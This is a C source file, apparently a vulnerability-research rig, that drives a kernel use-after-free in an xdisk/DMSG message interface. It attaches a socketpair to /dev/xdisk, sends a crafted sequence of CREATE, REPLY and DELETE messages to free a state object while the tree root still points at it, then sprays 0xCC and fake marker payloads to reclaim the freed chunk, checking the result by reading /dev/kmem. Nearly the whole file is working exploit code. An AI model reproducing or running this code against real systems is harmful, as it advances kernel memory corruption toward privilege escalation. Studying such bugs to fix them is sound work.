DF-5825 / introspect.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 | /* * DF-5825 introspection rig: drives the attack AND dumps the kernel * iocom state trees via /dev/kmem, giving direct ground truth about * the wrong-tree RB_REMOVE and the dangling staterd root. * * conn_state address is learned from the LNK_CONN msgid on the wire * (msgids of tx-initiated states are the state's own address). */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <stdint.h> #include <poll.h> struct dmsg_hdr { uint16_t magic, reserved02; uint32_t salt; uint64_t msgid, circuit, link_verifier; uint32_t cmd, aux_crc, aux_bytes, error; uint64_t aux_descr; uint32_t reserved38, hdr_crc; }; #define DMSGF_CREATE 0x80000000u #define DMSGF_DELETE 0x40000000u #define DMSGF_REPLY 0x20000000u #define XX3_CMD 0x00300101u struct xdisk_attach_ioctl { int fd; int unused01; int32_t r2[8]; }; #define XDISKIOCATTACH _IOWR('X', 0, struct xdisk_attach_ioctl) /* offsets from probe_state (verify at runtime) */ #define ST_ICOM 88 #define ST_PARENT 96 #define ST_REFS 104 #define ST_MSGID 120 #define ST_FLAGS 128 #define IOC_STATRD 0 /* filled from probe at startup */ #define IOC_STATEWR 0 #define IOC_CONN 0 #define IOC_FREERD 0 #define IOC_STATE0 0 static int sv[2], xd, kmem = -1; static size_t o_statrd, o_statewr, o_conn, o_freerd, o_state0; static int kread(uint64_t addr, void *buf, size_t len) { if (lseek(kmem, (off_t)addr, 0) == -1) { perror("lseek"); return -1; } if (read(kmem, buf, len) != (ssize_t)len) { perror("kmem read"); return -1; } return 0; } static uint64_t kread64(uint64_t addr) { uint64_t v = 0; kread(addr, &v, 8); return v; } static void hexdump(const char *tag, uint64_t addr, size_t len) { unsigned char b[256]; size_t i, n = len < sizeof(b) ? len : sizeof(b); if (kread(addr, b, n) < 0) return; printf("%s [%016jx]:", tag, (uintmax_t)addr); for (i = 0; i < n; i++) { if ((i % 16) == 0) printf("\n +%.3zx:", i); printf(" %02x", b[i]); } printf("\n"); } static void send_msg(uint32_t cmd, uint64_t msgid, const void *aux, uint32_t aux_size) { size_t hbytes = (cmd & 0xff) * 64; size_t abytes = aux_size ? (aux_size + 63) & ~63 : 0; unsigned char *buf = calloc(1, hbytes + abytes); struct dmsg_hdr *h = (struct dmsg_hdr *)buf; size_t off = 0; h->magic = 0x4832; h->msgid = msgid; h->cmd = cmd; h->aux_bytes = aux_size; if (aux && abytes) memcpy(buf + hbytes, aux, aux_size); while (off < hbytes + abytes) { ssize_t n = write(sv[1], buf + off, hbytes + abytes - off); if (n <= 0) { perror("write"); exit(1); } off += n; } free(buf); } static int recv_msg(struct dmsg_hdr *out, int ms) { struct pollfd p = { .fd = sv[1], .events = POLLIN }; unsigned char ext[2048]; if (poll(&p, 1, ms) <= 0) return -1; if (read(sv[1], out, 64) != 64) { perror("rhdr"); exit(1); } { size_t hb = (out->cmd & 0xff) * 64, got = 0, ab; if (hb > 64 && hb <= 2048) while (got < hb - 64) got += read(sv[1], ext, hb - 64 - got); ab = out->aux_bytes ? (out->aux_bytes + 63) & ~63 : 0; while (ab) { size_t n = read(sv[1], ext, ab > 2048 ? 2048 : ab); if (n <= 0) break; ab -= n; } } return 0; } static uint64_t iocom; static void dump_trees(const char *tag) { uint64_t sroot = kread64(iocom + o_statrd); uint64_t wroot = kread64(iocom + o_statewr); uint64_t conn = kread64(iocom + o_conn); uint64_t freerd = kread64(iocom + o_freerd); printf("[%s] iocom=%016jx staterd.root=%016jx statewr.root=%016jx " "conn_state=%016jx freerd=%016jx\n", tag, (uintmax_t)iocom, (uintmax_t)sroot, (uintmax_t)wroot, (uintmax_t)conn, (uintmax_t)freerd); } static void dump_state(const char *tag, uint64_t s) { if (!s) { printf("[%s] state NULL\n", tag); return; } printf("[%s] state %016jx: parent=%016jx refs=%d msgid=%016jx " "flags=%08x\n", tag, (uintmax_t)s, (uintmax_t)kread64(s + 96), (int)kread64(s + 104), (uintmax_t)kread64(s + 120), (uint32_t)kread64(s + 128)); } int main(void) { struct xdisk_attach_ioctl xa; struct dmsg_hdr h; uint64_t msgid1 = 0x41414100dead0001ULL; uint64_t conn_state; unsigned char fake[160]; int i; /* iocom offsets printed by probe_state: */ { FILE *f = popen("/root/probe_state", "r"); char line[256]; while (fgets(line, sizeof(line), f)) { uintptr_t v; if (sscanf(line, "iocom staterd_tree @ %lu", &v) == 1) o_statrd = v; if (sscanf(line, "iocom statewr_tree @ %lu", &v) == 1) o_statewr = v; if (sscanf(line, "iocom conn_state @ %lu", &v) == 1) o_conn = v; if (sscanf(line, "iocom freerd_state @ %lu", &v) == 1) o_freerd = v; if (sscanf(line, "iocom state0 @ %lu", &v) == 1) o_state0 = v; } pclose(f); } printf("offsets: statrd=%zu statewr=%zu conn=%zu freerd=%zu state0=%zu\n", o_statrd, o_statewr, o_conn, o_freerd, o_state0); kmem = open("/dev/kmem", O_RDONLY); if (kmem < 0) { perror("/dev/kmem"); return 1; } if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("sp"); return 1; } xd = open("/dev/xdisk", O_RDWR); if (xd < 0) { perror("xdisk"); return 1; } memset(&xa, 0, sizeof(xa)); xa.fd = sv[0]; if (ioctl(xd, XDISKIOCATTACH, &xa) < 0) { perror("attach"); return 1; } /* drain CONN; its msgid == &conn_state */ conn_state = 0; while (recv_msg(&h, 800) == 0) { printf("rx cmd=%08x msgid=%016jx\n", h.cmd, (uintmax_t)h.msgid); conn_state = h.msgid; } if (!conn_state) { printf("no CONN seen\n"); return 1; } iocom = kread64(conn_state + ST_ICOM); printf("conn_state=%016jx -> iocom=%016jx\n", (uintmax_t)conn_state, (uintmax_t)iocom); dump_trees("t0"); /* msg1: half-closed staterd state S */ send_msg(XX3_CMD | DMSGF_CREATE, msgid1, NULL, 0); while (recv_msg(&h, 800) == 0) ; usleep(300000); dump_trees("t1 after msg1"); { uint64_t s = kread64(iocom + o_statrd); dump_state("t1 S", s); hexdump("t1 S", s, 160); } /* msg2: inject REPLY into rxcmd */ send_msg(XX3_CMD | DMSGF_REPLY | DMSGF_CREATE, msgid1, NULL, 0); usleep(300000); while (recv_msg(&h, 300) == 0) ; dump_trees("t2 after msg2"); dump_state("t2 S", kread64(iocom + o_statrd)); /* msg3: REPLY|DELETE -> wrong-tree RB_REMOVE + free of S */ send_msg(XX3_CMD | DMSGF_REPLY | DMSGF_DELETE, msgid1, NULL, 0); usleep(500000); while (recv_msg(&h, 300) == 0) ; dump_trees("t3 after msg3 (staterd root should STILL point at freed S)"); dump_state("t3 S(freed)", kread64(iocom + o_statrd)); hexdump("t3 S(freed)", kread64(iocom + o_statrd), 160); /* t3.5: reclaim probe - one-off PING with 0xCC 160B aux */ { unsigned char cc[160]; memset(cc, 0xcc, sizeof(cc)); send_msg(0x00000101u, 0x9999000000000001ULL, cc, sizeof(cc)); usleep(400000); while (recv_msg(&h, 300) == 0) ; dump_trees("t3.5 after ping+CC-aux"); hexdump("t3.5 S-chunk", kread64(iocom + o_statrd), 160); } /* msg4 with fake aux in the 160 zone */ memset(fake, 0, sizeof(fake)); *(uint64_t *)(fake + 0) = 0x4141414141414141ULL; *(uint64_t *)(fake + 8) = 0x4242424242424242ULL; for (i = 0; i < 4; i++) { printf("msg4.%d\n", i); send_msg(0x00001207u | DMSGF_CREATE | DMSGF_DELETE, 0x42424200cafe0000ULL + i, fake, sizeof(fake)); usleep(400000); while (recv_msg(&h, 300) == 0) ; dump_trees("t4"); hexdump("t4 S-chunk", kread64(iocom + o_statrd), 160); } printf("DONE alive\n"); return 0; } |